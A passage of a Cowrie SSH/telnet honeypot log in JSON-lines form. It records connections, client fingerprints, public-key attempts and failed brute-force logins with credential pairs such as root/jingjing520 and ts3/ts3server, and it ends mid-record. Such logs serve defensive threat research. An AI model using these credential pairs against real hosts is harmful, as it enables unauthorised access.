{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:07.247502Z","src_ip":"14.55.144.22","session":"75ab09cdccdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:07.452994Z","src_ip":"14.55.144.22","session":"75ab09cdccdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing520","message":"login attempt [root/jingjing520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:08.273976Z","src_ip":"14.55.144.22","session":"75ab09cdccdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:09.483657Z","src_ip":"14.55.144.22","session":"75ab09cdccdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":49722,"dst_ip":"10.17.0.5","dst_port":22,"session":"310babf1e9c0","protocol":"ssh","message":"New connection: 91.92.40.176:49722 (10.17.0.5:22) [session: 310babf1e9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:17.415886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:17.421667Z","src_ip":"91.92.40.176","session":"310babf1e9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:17.502795Z","src_ip":"91.92.40.176","session":"310babf1e9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3server","message":"login attempt [ts3/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:17.753810Z","src_ip":"91.92.40.176","session":"310babf1e9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:18.841585Z","src_ip":"91.92.40.176","session":"310babf1e9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.06738328933716,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:20.467982Z","src_ip":"137.184.5.188","session":"4bc6a10842de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":60524,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e3a5ce9646f","protocol":"ssh","message":"New connection: 162.214.5.224:60524 (10.17.0.5:22) [session: 1e3a5ce9646f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:23.916610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:23.921528Z","src_ip":"162.214.5.224","session":"1e3a5ce9646f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:24.003546Z","src_ip":"162.214.5.224","session":"1e3a5ce9646f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bluzelle123","password":"bluzelle123","message":"login attempt [bluzelle123/bluzelle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:24.282679Z","src_ip":"162.214.5.224","session":"1e3a5ce9646f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:27.376577Z","src_ip":"162.214.5.224","session":"1e3a5ce9646f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":38190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5a0c40861f8","protocol":"telnet","message":"New connection: 143.198.154.150:38190 (159.203.135.109:23) [session: f5a0c40861f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:31.731794Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.56.68.133","src_port":56020,"dst_ip":"10.17.0.5","dst_port":22,"session":"876a18098e11","protocol":"ssh","message":"New connection: 45.56.68.133:56020 (10.17.0.5:22) [session: 876a18098e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.220577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.224667Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.269360Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ff:c5:23:a3:b9:d0:a4:71:d4:df:b5:dd:75:e6:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJq8bgk0xD5YgxxsPPiUgMSeHnpYmCHhBCpSVhAhPVRgmBA60LST/XD8j3YkvwzVxKa88ACJ5EfnggTs8nnP7j+ruZlO6C2T479Zgbsf3GkOiLiFl/8N4qL4lYkGT26+HNoqJTlcYX6gKPV9SHhnrW4s3YU+y2I48zBkadQMWf4oqOfoK+wPTbBUjsv5/31q48O8A0QOSml0TuJ4VvTKyoSlSL4i7eupu7OL37+WzhIM6IUl2tt3vRn873TCnyQXgyMFWpdOYqDrDgIcJZN9lUmE9P6cNYCY+i6Nyd/F/ytVgwMmhIWxrR6kSVEUPK1oZr1T1hjogzeF0kUYLQXGf9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ff:c5:23:a3:b9:d0:a4:71:d4:df:b5:dd:75:e6:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.480493Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ff:c5:23:a3:b9:d0:a4:71:d4:df:b5:dd:75:e6:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJq8bgk0xD5YgxxsPPiUgMSeHnpYmCHhBCpSVhAhPVRgmBA60LST/XD8j3YkvwzVxKa88ACJ5EfnggTs8nnP7j+ruZlO6C2T479Zgbsf3GkOiLiFl/8N4qL4lYkGT26+HNoqJTlcYX6gKPV9SHhnrW4s3YU+y2I48zBkadQMWf4oqOfoK+wPTbBUjsv5/31q48O8A0QOSml0TuJ4VvTKyoSlSL4i7eupu7OL37+WzhIM6IUl2tt3vRn873TCnyQXgyMFWpdOYqDrDgIcJZN9lUmE9P6cNYCY+i6Nyd/F/ytVgwMmhIWxrR6kSVEUPK1oZr1T1hjogzeF0kUYLQXGf9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.483677Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:c3:f1:ca:c2:6c:1a:0a:b1:7d:39:e4:df:46:bf:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqn8qnTZoaKStN1EmsQJSas+MJxKfmU1tUR6mWEAaulezBpTvXftupmgHJPq12LW2QBHyr75icwpTWUCqO+E51QpV62fFncuxAKC8ELnPTzH0t7ZsTXkhJR879+7E1WPXpC2uZY9uDbDzMX5IrgTtiMguyFcrvNNuK+1khs6iHBuTgnEjQRjYfD6hms1w9E5SXk15fbx9G9EZFB29d0WCdwbStmGjBKsrh60fXG1dYm6dx77h2EYUMr7w1CyJwcznxDXCDEZWGBdPBih+UjYm4Zrq8IaERUQ9mdBxw17r+GnErFfKVLP3L8HcEhtUiY6S6HX0PXVW6EQFZBFk3NUZN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:c3:f1:ca:c2:6c:1a:0a:b1:7d:39:e4:df:46:bf:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.530348Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:c3:f1:ca:c2:6c:1a:0a:b1:7d:39:e4:df:46:bf:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqn8qnTZoaKStN1EmsQJSas+MJxKfmU1tUR6mWEAaulezBpTvXftupmgHJPq12LW2QBHyr75icwpTWUCqO+E51QpV62fFncuxAKC8ELnPTzH0t7ZsTXkhJR879+7E1WPXpC2uZY9uDbDzMX5IrgTtiMguyFcrvNNuK+1khs6iHBuTgnEjQRjYfD6hms1w9E5SXk15fbx9G9EZFB29d0WCdwbStmGjBKsrh60fXG1dYm6dx77h2EYUMr7w1CyJwcznxDXCDEZWGBdPBih+UjYm4Zrq8IaERUQ9mdBxw17r+GnErFfKVLP3L8HcEhtUiY6S6HX0PXVW6EQFZBFk3NUZN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.533727Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:d2:70:96:6d:fc:10:13:ed:d1:de:05:cc:e0:73:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhKM8gaKwQ7M0AqoWO6rv92R2JKG7VOKGszUPnXu3P+1bY4MtZU+YwhNsxPo6JidrrwbsDVnJ9oS8PTW0QtuvFx/8RUAsmwURZ9afs/Ma/ylM+KewWe21CW/3i2cMOL/VFhhH8ZDwZRXjWmdE8VmA1Vuw+Uwq+hDjxEzI3Mzu+m9A8Lo8uI509tj+O7d6Y/pudOm+/Jqdgo1UTNyk6RyYl2dbfkx2+ig+5HYexeLP6lC2b1Z5tAXXeayuvekVz2guDrwpzxfgiapSzJLIv7EoXkw/hfsrOzrIRFe6VTSKOHcuIqVVN06nLZQlIzkdml685F2yBbHcDtGS8XdhPEvH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:d2:70:96:6d:fc:10:13:ed:d1:de:05:cc:e0:73:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.579911Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:d2:70:96:6d:fc:10:13:ed:d1:de:05:cc:e0:73:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhKM8gaKwQ7M0AqoWO6rv92R2JKG7VOKGszUPnXu3P+1bY4MtZU+YwhNsxPo6JidrrwbsDVnJ9oS8PTW0QtuvFx/8RUAsmwURZ9afs/Ma/ylM+KewWe21CW/3i2cMOL/VFhhH8ZDwZRXjWmdE8VmA1Vuw+Uwq+hDjxEzI3Mzu+m9A8Lo8uI509tj+O7d6Y/pudOm+/Jqdgo1UTNyk6RyYl2dbfkx2+ig+5HYexeLP6lC2b1Z5tAXXeayuvekVz2guDrwpzxfgiapSzJLIv7EoXkw/hfsrOzrIRFe6VTSKOHcuIqVVN06nLZQlIzkdml685F2yBbHcDtGS8XdhPEvH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.582848Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:1b:57:47:c5:04:0f:46:93:43:25:f9:c9:47:32:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuqsLVvLG4GxfypJx2hAFA1JeKGdVGZZfQuzxW875vUh8G1cf5bcj/CJspr/x40joFRKo26AixEGW3IMZ5m2r77ySUQBSCQ118LGF4VjnRV1tUag7Vgn2IoDaOIHp97if+wV/MBPSkXMO3R+vT4WLVnIZEGumw239/elPjziI886kQt/SCBf75Xxng1sENOc43wPuHvaxqeFDCXTWdeVEBkaQ7TPz7/TR1CL3dS4l9FFIHM5ZrkYDYarXZHIpKjRIC7uItaAVT8G7467l7pkGMz27A2qEbL16nX3lWszXm+Bh4puCskY3OnGV44lZWX8SV8huH57o14lNEd4P+6ERd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:1b:57:47:c5:04:0f:46:93:43:25:f9:c9:47:32:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.628910Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:1b:57:47:c5:04:0f:46:93:43:25:f9:c9:47:32:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuqsLVvLG4GxfypJx2hAFA1JeKGdVGZZfQuzxW875vUh8G1cf5bcj/CJspr/x40joFRKo26AixEGW3IMZ5m2r77ySUQBSCQ118LGF4VjnRV1tUag7Vgn2IoDaOIHp97if+wV/MBPSkXMO3R+vT4WLVnIZEGumw239/elPjziI886kQt/SCBf75Xxng1sENOc43wPuHvaxqeFDCXTWdeVEBkaQ7TPz7/TR1CL3dS4l9FFIHM5ZrkYDYarXZHIpKjRIC7uItaAVT8G7467l7pkGMz27A2qEbL16nX3lWszXm+Bh4puCskY3OnGV44lZWX8SV8huH57o14lNEd4P+6ERd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.630796Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:7e:fa:0f:6c:06:31:68:d1:e7:1a:94:2b:1c:a3:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxcciZb0KYmccfHmo8nvCCtgyUSRTCfHpNh+yOEs8hnUycPKsWeDPkIlrCLdVFL7fNkzrCU80VJx0m21LoCzeL7XPZKa6p+tvcRogrjJpkmY0clSMTAtrliqoE3iXSy+wl7UWpIkkIlGVRnLokv7v9/+vQw/BKvHELXOblTT9rWi9n3O3AY6SLPBE+btahn2YHcv/dkC0TlT071hll9zWOdWU040dvLXYP1f9ddENt1Qt2Rbeln2/h1VFMGkI1lvQmuZM2Bgnq9oX+WN2efHd/+egtvZj4fOsNCjcYCQeNFTFqCSucSh7eFPq8aLO40WCn66bglRg+HGSfx3MRtzo/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:7e:fa:0f:6c:06:31:68:d1:e7:1a:94:2b:1c:a3:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.678019Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:7e:fa:0f:6c:06:31:68:d1:e7:1a:94:2b:1c:a3:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxcciZb0KYmccfHmo8nvCCtgyUSRTCfHpNh+yOEs8hnUycPKsWeDPkIlrCLdVFL7fNkzrCU80VJx0m21LoCzeL7XPZKa6p+tvcRogrjJpkmY0clSMTAtrliqoE3iXSy+wl7UWpIkkIlGVRnLokv7v9/+vQw/BKvHELXOblTT9rWi9n3O3AY6SLPBE+btahn2YHcv/dkC0TlT071hll9zWOdWU040dvLXYP1f9ddENt1Qt2Rbeln2/h1VFMGkI1lvQmuZM2Bgnq9oX+WN2efHd/+egtvZj4fOsNCjcYCQeNFTFqCSucSh7eFPq8aLO40WCn66bglRg+HGSfx3MRtzo/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.680932Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:33.727312Z","src_ip":"45.56.68.133","session":"876a18098e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"83.9","message":"Connection lost after 83.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:50.154176Z","src_ip":"162.144.105.39","session":"f2501a9c163d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44432,"dst_ip":"159.203.135.109","dst_port":23,"session":"5070be108d90","protocol":"telnet","message":"New connection: 107.6.151.170:44432 (159.203.135.109:23) [session: 5070be108d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:21.901847Z"}
{"eventid":"cowrie.session.closed","duration":66.0444221496582,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:37.776115Z","src_ip":"143.198.154.150","session":"f5a0c40861f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":22471,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce89407651a","protocol":"ssh","message":"New connection: 178.20.210.208:22471 (159.203.135.109:22) [session: 9ce89407651a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:38.715870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:38.718461Z","src_ip":"178.20.210.208","session":"9ce89407651a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com